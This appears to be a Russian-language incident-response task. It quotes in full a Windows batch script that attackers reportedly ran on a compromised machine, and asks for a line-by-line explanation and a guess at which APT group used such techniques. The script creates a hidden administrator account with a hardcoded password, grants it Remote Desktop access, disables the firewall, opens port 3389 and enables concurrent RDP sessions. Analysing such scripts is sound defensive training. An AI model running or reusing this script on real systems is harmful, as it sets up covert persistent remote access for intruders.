Описание задачи:

В ходе расследования, Вами был обнаружен скрипт, который использовали злоумышленники на скомпрометированном устройстве:

```
net user MS_BACKUP$ abcd1234!@#$ /add
net localgroup Administrators /add MS_BACKUP$
net localgroup Администраторы /add MS_BACKUP$
net localgroup "Remote Desktop Users" /add MS_BACKUP$
net localgroup "Пользователи удаленного рабочего стола" /add MS_BACKUP$
net user MS_BACKUP$ /expires:never

reg add "HKLM\SOFTWARE\Microsoft\Windows
NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v MS_BACKUP$ /t REG_DWORD /d 0 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v
dontdisplaylastusername /t REG_DWORD /d 1 /f

reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system /v
LocalAccountTokenFilterPolicy /t REG_DWORD /d 1 /f

netsh firewall set opmode disable
netsh advfirewall set allprofiles state off

reg add
"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfi
le\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f

reg add
"HKLM\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\DomainProfil
e\GloballyOpenPorts\List" /v 3389:TCP /t REG_SZ /d "3389:TCP:*:Enabled:Remote Desktop" /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t
REG_DWORD /d 0 /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fSingleSessionPerUser /t
REG_DWORD /d 0 /f

reg add "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server\Licensing Core" /v
EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
EnableConcurrentSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v
AllowMultipleTSSessions /t REG_DWORD /d 1 /f

reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v
MaxInstanceCount /t REG_DWORD /d 100 /f

sc config termservice start= auto

net start termservice
```

Вам необходимо:

1) Описать, что делает данный скрипт (в идеале, что делает каждая строчка)
2) Сделать предположение, какая APT-группа могла бы использовать такой скрипт или приемы в нем описанные, привести подтверждение из открытых источников